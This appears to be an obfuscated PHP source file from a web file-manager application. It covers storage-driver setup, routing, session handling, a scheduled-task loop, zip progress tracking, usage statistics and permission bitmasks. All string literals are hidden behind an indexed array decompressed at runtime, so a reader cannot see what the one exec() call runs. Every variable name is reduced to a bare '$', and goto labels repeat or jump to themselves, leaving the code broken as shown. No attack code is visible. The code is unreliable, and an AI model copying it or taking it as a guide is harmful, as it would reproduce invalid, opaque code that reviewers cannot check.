(isset($[$])) { $ = $; break; } } if (!$) { return; } $ = $this->getConfig($); $ = $[$]; $ = $[$]; if ($ == str_repeat($[205], strlen($))) { $[$] = $; $[$[6]] = json_encode($); } else { if ($ != $) { $[$[2227]] = $[90]; } } } public function checkConfig(&$, $ = false) { $ =& $_SERVER[]; $ = strtolower($[$[97]]); $ = json_decode($[$[6]], !0); foreach ($ as $ => $) { if (is_string($)) { $[$] = trim($); } } $[$[2230]] = rand_string(6); $ = $GLOBALS[$[6]][$[91]][$[871]]; $ = isset($[$]) ? $[$] : ucfirst($); $ = $[76] . $; if (!$ || !class_exists($)) { if ($) { return LNG($[2231]); } write_log(array($[2232], $, get_caller_info()), $[2233]); show_json(LNG($[2231]), !1, $); } $ = new $($); if (in_array($, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($[2234]); $ .= $[2235] . LNG($[2236]); if ($) { return $; } show_json($, !1); } } $ = rtrim($[$[1231]], $[8]) . $[8]; $ = $->getPath($ . $[1235]); if (!$->mkfile($)) { if ($) { return LNG($[2234]); } show_json(LNG($[2234]), !1); } $[$[1231]] = $; $[$[6]] = json_encode($); $[$[97]] = $; return !0; } public function driverListSystem() { $ =& $_SERVER[]; $ = parent::listData(); $ = array(); foreach ($ as $) { unset($[$[217]], $[$[87]]); $[$[6]] = json_decode($[$[6]], !0); $[] = $; } return $; } public function defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[445]); if (!isset($[$])) { return !1; } $ = $[$]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $) { $ =& $_SERVER[]; $ = array($[862] => $); $ = Model($[514])->where($)->count(); $ = Model($[514])->where($)->sum($[78]); $ = $ . $[2237] . $; $ = LNG($ == $[590] ? $[2238] : $[2239]); $ = new TaskFileTransfer($, $[2233], $, $ . "({$})"); $->task[$[808]] = (double) $; $ = KodIO::defaultDriver(); $ = $[$[445]]; $ = "{io:{$}}/"; $ = !0; $ = array(); $ = Model($[216])->where($)->field($[2240])->select(); foreach ($ as $) { $ = $[$[86]]; $ = $ . str_replace("{io:{$}}/", $[12], $); if (!IO::exist($)) { $[] = $[$[511]]; $->updateFileEnd($[$[32]], $[$[78]]); continue; } if (IO::exist($)) { $->updateFileEnd($[$[32]], $[$[78]]); continue; } if (!IO::move($, get_path_father($))) { $ = !1; break; } $ = array($[511] => $[$[511]]); $ = array($[862] => $, $[86] => $); Model($[216])->where($)->save($); } $this->removeByFileID($); if (!$) { $->stop($); return !1; } $->end(); if ($ == $[1873]) { $this->remove($); } } public function progress($, $) { return Task::get($ . $_SERVER[][2237] . $); } private function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[511] => array($[7], $)); $ = Model($[1384])->where($)->field($[183])->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[183]); foreach ($ as $) { Model($[460])->removeNow($, !1); } } private function removeShareItems($) { $ =& $_SERVER[]; $ = "{io:{$}}/"; $ = array($[183] => 0, $[1226] => array($[429], "{$}%")); $ = Model($[1884])->where($)->field($[635])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[635]); Model($[634])->remove($); } } goto d; A: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto E; e: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array(":any" => "[^/]+", ":num" => "[0-9]+", ":all" => ".*"); public static $errorCallback; public static function __callstatic($, $) { $ =& $_SERVER[]; if ($ == $[1641]) { $ = array_map($[1642], $[0]); $ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $ = $[2]; } else { $ = null; $ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $ = $[1]; } array_push(self::$maps, $); array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1643]], PHP_URL_PATH); $ = $_SERVER[$[162]]; $ = array_keys(static::$patterns); $ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($[1327], $[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $) { if (self::$methods[$] == $ || self::$methods[$] == $[1644] || in_array($, self::$maps[$])) { $ = !0; if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explode($[1259], $); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $[4]) !== !1) { $ = str_replace($, $, $); } if (preg_match($[1645] . $ . $[1646], $, $)) { if (self::$methods[$] == $ || self::$methods[$] == $[1644] || !empty(self::$maps[$]) && in_array($, self::$maps[$])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $ = explode($[8], self::$callbacks[$]); $ = end($); $ = explode($[1259], $); $ = new $[0](); if (!method_exists($, $[1])) { echo $[1647]; } else { call_user_func_array(array($, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1648]] . $[1649]); echo $[1650]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1643]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $; } $ = $GLOBALS[$[6]][$[395]]; self::$sessionTime = $[$[1651]]; $ = isset($GLOBALS[$[1652]]) ? $GLOBALS[$[1652]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $[$[1653]]; $ = $[$]; $ = $[$[873]]; switch ($) { case $[21]: self::$handle = Model($[874]); break; case $[875]: self::$handle = new CacheRedis($, $); break; case $[876]: self::$handle = new CacheMemcached($, $); break; case $[216]: $[$[86]] = $[$[86]] . $[1654]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { $ = self::$handle->get($); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $ => $) { array_set_value(self::$data, $, $); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][879])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[795]) != $[90]) { return; } if (self::valueGet($[1655]) == $[90]) { $ = self::valueGet($[1656]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1655], $[90]); self::log($[1657] . ACTION . $[1658]); Hook::bind($[1659], $[1660]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[795]) != $[90]) { self::valueSet($[1655], $[214]); self::log($[1661]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($[1655] => $[90], $[1656] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $[1662])) { self::valueSet(array($[1655] => $[214], $[795] => $[214])); self::log($[1663]); die; } $ = file_get_contents(BASIC_PATH . $[1664]); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($, $[1665]) . $[10] . match_text($, $[1666]); if ($ != $) { self::restart(); self::log("stoped.[version update;{$versionNow} => {$version}]"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ =& $_SERVER[]; http_close(); $GLOBALS[$[1667]] = 1; $_SERVER[$[1668]] = $[1669]; $_COOKIE = array(); $GLOBALS[$[1670]] = 1; $GLOBALS[$[1671]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[795], $[214]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1655] => $[214], $[795] => $[90])); self::log($[1672]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[795]) == $[90] ? $[214] : $[90]; self::valueSet($[795], $); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1655], $[214]); self::log($[1673]); } public static function config($, $) { self::valueSet($_SERVER[][795], $); } private static function taskRunAll() { $ =& $_SERVER[]; $ = timeFloat(); $ = Model($[1674])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$[$[445]] || $[$[1675]] != $[90]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($[1676]); self::taskQueueRun($); } private static function taskQueueRun($) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[]; $ = json_decode($[$[196]], !0); $ = intval($[$[1656]]); $ = strtotime($[1677] . $[$[1678]] . $[1679]) - strtotime($[1680]); $ = time() - strtotime(date($[1681]) . $[1682]); $ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1683]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$[1683]] == date($[1684]) && $) { return !0; } break; case $[1685]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($[1686]) == 0 ? 7 : date($[1686]); if ($[$[1685]] == $ && $) { return !0; } break; case $[1678]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $[1687]: if (time() - $ >= floatval($[$[1687]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - $ < $) { return; } $ = time(); $ = Model($[548])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1688], $[1689]); die; } } public static function taskRun($) { $ =& $_SERVER[]; self::log($[1690] . $[$[445]] . $[1691] . $[$[32]] . $[1692] . $[$[1693]]); Model($[1674])->run($[$[445]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[353]: $ = url_request($[$[1693]], $[247], !1, !1, !1, !1, 10); if ($[$[795]]) { $ = strlen($[$[1253]]); } break; case $[246]: $ = Hook::apply($[$[1693]]); default: break; } Model($[1694])->add(array($[1695] => $[12], $[1696] => $[214], $[33] => $[1697] . $[$[445]], $[1698] => json_encode(array($[32] => $[$[32]], $[1699] => timeFloat() - $, $[339] => $)))); $ = $ ? $[1700] . $ : $[12]; self::log($[1701] . $[$[445]] . $[167] . $); return !0; } public static function valueGet($) { $ =& $_SERVER[]; $ = $[1702]; $ = Model($[478])->get($, $); if (is_null($)) { Model($[478])->set($[795], $[90], $); Model($[478])->set($[1655], $[214], $); $ = Model($[478])->get($, $); } return $; } private static function valueSet($, $ = false) { $ =& $_SERVER[]; $ = $[1703]; CacheLock::lock($); $ = Model($[478])->set($, $, $[1702]); CacheLock::unlock($); return $; } protected static function log($) { write_log($, $_SERVER[][1689]); } private static function cacheClear() { $ =& $_SERVER[]; Cache::clearMemory(Model($[478])->cacheKey($[1702])); Cache::clearMemory(Model($[478])->cacheKey($[1704])); Model($[1674])->cacheClear(); self::closeDatabase(); } } goto C; C: define($_SERVER[][287], 1); define($_SERVER[][288], 0); define($_SERVER[][289], 2); goto C; A: define($_SERVER[][647], $_SERVER[][648]); $hrgwpjxies = $_SERVER[][649]; if (!$hrgwpjxies) { return; } goto D; A: class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1830], array($this, $[1820])); Hook::bind($[1822], array($this, $[1823])); $ =& $this->task; $[$[1824]] = $[1245]; if (!$[$[1593]]) { $[$[1593]] = LNG($[1831]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1830], array($this, $[1820])); Hook::unbind($[1822], array($this, $[1823])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[831]] || !$[$[808]]) { return; } if ($[$[1824]] == $[1245]) { $ = $[$[1759]]; if ($[$[1760]] != $[1245]) { $ = 0; } $ = ($[$[1763]] + $) / $[$[808]]; $[$[1707]] = $ * 0.3; } else { if ($[$[1824]] == $[359]) { $ = $[$[1706]] / $[$[831]]; $[$[1707]] = 0.3 + $ * 0.5; } else { if ($[$[1824]] == $[109]) { $ = 0; if ($[$[1758]]) { $ = $[$[1759]] / $[$[1758]]; } $[$[1707]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1707]] > 0) { $ = timeFloat() - $[$[1709]] - $[$[1712]]; $[$[1713]] = $ * (1 - $[$[1707]]) / $[$[1707]]; } } public function copyFileStart($, $, $, $, $, $) { $ =& $_SERVER[]; parent::copyFileStart($, $, $, $, $, $); $ =& $this->task; if ($[$[1824]] == $[359]) { $[$[1824]] = $[109]; } $this->update(); } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1759]] = $[$[1758]]; $[$[1763]] += $[$[1758]]; $[$[1760]] = $[12]; $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1756]] = get_path_this($); $[$[1758]] = $; $[$[1759]] = $; $[$[1115]] = $ == $[1832] ? $[1827] : $[1828]; $[$[1760]] = $[12]; $[$[808]] = $; $[$[1824]] = $[359]; $this->update(); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1706]] < $[$[831]]) { $ = get_path_this($); if (strstr($, $[10])) { $[$[1706]] += 1; } } if ($[$[1824]] == $[1245]) { $[$[1824]] = $[359]; } $[$[1756]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[]; $ = array($[632] => array($[33] => $[1833], $[319] => array($[241], $[810], $[1834], $[1835])), $[1836] => array($[33] => $[1837], $[319] => array($[241], $[808], $[1838], $[1839], $[1840]))); if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[319]]; return !0; } public function listData($ = false, $ = "modifyTime", $ = false) { return parent::listData($, $, $); } public function trendList($) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $ = end($); $ = date($[1841], strtotime($[1842])); if ($[$[241]] == $) { return $; } $ = strtotime($[$[241]]); } if (!isset($)) { $ = $ == $[632] ? $[569] : $[870]; $ = Model($)->min($[217]); } $ = $[1843] . ucfirst($); $ = $this->dateList($); foreach ($ as $) { $this->{$}($); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[]; $ = $; $ = strtotime($[1842]); $ = array(); while ($ <= $) { $[] = date($[1841], $); $ = strtotime($[1844], $); } return $; } public function _recordUser($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1845], strtotime($))); $ = strtotime(date($[1846], strtotime($))); $ = array($[217] => array($[1064], $)); $ = Model($[569])->where($)->count($[1705]); $[$[217]] = array($[379], array($, $)); $ = Model($[569])->where($)->count($[1705]); $[$[33]] = $[1847]; $ = Model($[1848])->where($)->count($[1849]); $ = array($[241] => $, $[810] => (int) $, $[1834] => (int) $, $[1835] => (int) $); return $this->insert($); } public function _recordStore($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1846], strtotime($))); $ = array($[217] => array($[1064], $)); $ = Model($[514])->where($)->sum($[78]); $[$[455]] = 0; $ = Model($[870])->where($)->sum($[78]); $[$[180]] = 1; $ = Model($[870])->where($)->sum($[78]); $[$[180]] = 2; $ = Model($[870])->where($)->sum($[78]); $ = array($[241] => $, $[808] => (int) $, $[1838] => (int) $, $[1839] => (int) $, $[1840] => (int) $); return $this->insert($); } public function trend($, $) { $ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $[1678]) { $ = $[0][$[241]]; $ = $this->validDate($, $); $ = array(); $ = array_to_keyvalue($, $[241]); foreach ($ as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($); $[$[241]] = $; if ($ == $[632]) { $[$[1834]] = $[$[1835]] = 0; } } $[] = $; } $ = $; } $ = array($[632] => array($[810] => LNG($[1850]), $[1834] => LNG($[1851]), $[1835] => LNG($[1852])), $[1836] => array($[808] => LNG($[1853]), $[1838] => LNG($[1854]), $[1839] => LNG($[1855]), $[1840] => LNG($[1856]))); $ = array($[632] => $[1857], $[1836] => $[78]); if (empty($)) { $ = date($[1841], strtotime($[1842])); $ = array($[241] => $); foreach ($[$] as $ => $) { $[$] = 0; } $[] = $; } $ = array(); foreach ($ as $) { if ($ == $[1836] && $[$[1838]] > $[$[808]]) { $[$[1838]] = $[$[808]]; } foreach ($[$] as $ => $) { $ = array($[241] => $[$[241]], $[1593] => $); $[$[$]] = isset($[$]) ? $[$] : 0; $[] = $; } } return $; } public function validDate($, $) { $ =& $_SERVER[]; $ = date($[1841], strtotime($[1842])); $ = array($); switch ($) { case $[1685]: $ = mktime(0, 0, 0, date($[1858]), date($[1412]) - date($[1477]) + 7 - 7, date($[1859])); $ = 0; do { $ = date($[1841], $ - 3600 * 24 * 7 * $); $[] = $; $++; } while ($ < $); break; case $[1683]: $ = 1; do { $ = date($[1860], strtotime("- {$} months")); $[] = $; $++; } while ($ < $); break; case $[1861]: $ = (int) date($[1859], strtotime($)); $ = (int) date($[1859]); if ($ >= $) { break; } for ($; $ < $; $++) { $[] = $ . $[1862]; } break; default: break; } if ($ > end($)) { array_pop($); } sort($); return $; } public function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ = $_SERVER[][1863] . ucfirst($); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[]; $ = Model($[569])->count($[1705]); $ = Model($[569])->where($[1864])->count($[1705]); $ = intval($GLOBALS[$[6]][$[395]][$[1651]]) / 3600; $ = strtotime("-{$} hours"); $ = strtotime(date($[1845])); if ($ < $) { $ = $; } $ = array($[1865] => array($[1065], $)); $ = (int) Model($[569])->where($)->count($[1705]); if (!$) { $ = 1; } $ = array($[1865] => array($[1065], $)); $ = Model($[569])->where($)->count($[1705]); return array($[803] => (int) $, $[1866] => (int) ($ - $), $[1867] => (int) $, $[1868] => (int) $, $[1869] => $); } private function optionFile() { $ =& $_SERVER[]; $ = $this->sourceSize(); $ = $[$[78]]; $ = $[$[1838]]; $ = Model($[870])->where(array($[455] => 0))->count($[183]); $ = array($[455] => 0, $[217] => array($[1065], strtotime(date($[1845])))); $ = Model($[870])->where($)->sum($[78]); $ = Model($[870])->where($)->count($[183]); return array($[808] => $, $[1838] => $, $[1870] => $ - $, $[1871] => (int) $, $[810] => (int) $, $[1872] => (int) $); } private function optionAccess() { $ =& $_SERVER[]; return array($[803] => $this->typeLogCnt(), $[109] => $this->typeLogCnt($[109]), $[495] => $this->typeLogCnt($[495]), $[1873] => $this->typeLogCnt($[1873]), $[1874] => $this->typeLogCnt($[1874]), $[632] => $this->typeLogCnt($[12], $[1849])); } private function typeLogCnt($ = '', $ = "id") { $ =& $_SERVER[]; $ = array($[109] => array($[1875], $[1876]), $[495] => array($[1877], $[1878]), $[1873] => array($[1879], $[1880], $[1881]), $[1874] => array($[1882], $[1883]), $[1884] => array($[1885], $[1886], $[1887])); $ = strtotime(date($[1845])); $ = array($[217] => array($[1065], $)); if ($) { $[$[33]] = array($[7], $[$]); } $ = Model($[1848])->where($)->count($); return (int) $; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ = array($[862] => $[$[445]]); $ = Model($[514])->where($)->sum($[78]); $ = explode($[53], $_SERVER[$[146]]); $ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $ = $[$[1027]]; if ($ == $[1015]) { $ = explode($[1333], $[$[1026]]); $ = $[0]; } if ($ == $[963] || $ == $[849]) { $ = Model()->db()->query($[1888]); $ = $[0] && isset($[0][$[1592]]) ? $[0][$[1592]] : 0; $ = $[1889] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[395]][$[872]]; return array($[1890] => $ ? $[$[1891]] : 0, $[1892] => $ ? $[$[1893]] : 0, $[1894] => (int) $[$[1891]] * 1024 * 1024 * 1024, $[1895] => (int) $, $[1896] => ucfirst($), $[1897] => $[1898] . PHP_VERSION, $[1899] => phpBuild64() ? 64 : 32, $[802] => str_replace($[1181], $[1043], $), $[395] => ucfirst($), $[32] => $_SERVER[$[1900]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ = $GLOBALS[$[6]][$[1350]] == $[1351]; if ($) { $ = $[1901]; if (function_exists($[1902])) { exec($[1903], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } $ = @disk_total_space($); $ = $ - @disk_free_space($); return array($[1891] => $, $[1893] => $); } public function fileChart($) { $ =& $_SERVER[]; if (isset($[$[1705]])) { return Model($[870])->userFileTypeProfile($[$[1705]]); } if (isset($[$[1904]])) { return Model($[870])->groupFileTypeProfile($[$[1904]]); } $ = $this->sourceSize(); $ = array($[182] => 0, $[180] => 1); $ = Model($[870])->where($)->sum($[78]); $[$[180]] = 2; $ = Model($[870])->where($)->sum($[78]); return array($[808] => $[$[78]], $[1838] => $[$[1838]], $[1839] => (int) $, $[1840] => (int) $); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[870])->where(array($[455] => 0))->sum($[78]); $ = Model($[514])->sum($[78]); if ($ > $) { $ = $; } return array($[78] => (int) $, $[1838] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $ = array(array($[464] => LNG($[1905]), $[1906] => $[1907], $[1908] => 1, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[464] => LNG($[1911]), $[1906] => $[1912], $[1908] => 2, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[464] => LNG($[1913]), $[1906] => $[1914], $[1908] => 3, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[464] => LNG($[1915]), $[1906] => $[1916], $[1908] => 4, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW), array($[464] => LNG($[1917]), $[1906] => $[1918], $[1908] => 5, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[464] => LNG($[1919]), $[1906] => $[1920], $[1908] => 6, $[1909] => 1, $[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[464] => LNG($[1921]), $[1906] => $[1922], $[1908] => 7, $[1909] => 1, $[1910] => 0)); return $; } public static function authCheck($, $) { $ =& $_SERVER[]; $ = intval($); if (KodUser::isRoot() && $GLOBALS[$[6]][$[1923]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($, $) { $ =& $_SERVER[]; $ = array($[1924] => self::AUTH_VIEW, $[1245] => self::AUTH_DOWNLOAD, $[109] => self::AUTH_UPLOAD, $[1874] => self::AUTH_EDIT, $[1873] => self::AUTH_REMOVE, $[1884] => self::AUTH_SHARE, $[400] => self::AUTH_COMMENT, $[1693] => self::AUTH_EVENT, $[1925] => self::AUTH_ROOT); if (!isset($[$])) { return; } $ = $[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) & ~$; } public $optionType = "System.sourceAuthList"; public $field = array("name", "auth", "label", "display", "system", "sort"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[457]]); if ($ <= 0 || $[$[1926]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $[$[445]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[457]] <= 0 || $[$[1926]] == $[214]) { continue; } if (!$) { $ = $; continue; } if ($[$[457]] > $[$[457]]) { $ = $; } } return $ ? $[$[445]] : $[12]; } public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } $this->filterAuth($[$[457]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][181]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ = array($[32] => $[12], $[457] => 1, $[1927] => $[1914], $[1926] => 1, $[181] => 0, $[1928] => 0); $ = array_merge($, $); $[$[1928]] = $this->getSort(); $this->filterAuth($[$[457]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($[$])) { $ = array_merge($, $[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } goto c; D: class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1384]); } protected function infoParse($, $ = false, $ = false) { $ =& $_SERVER[]; return Action($[1225])->sharePathInfo($this->pathParse[$[86]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = parent::listPath($, $); if (!$) { return $; } if (is_array($[$[1392]])) { 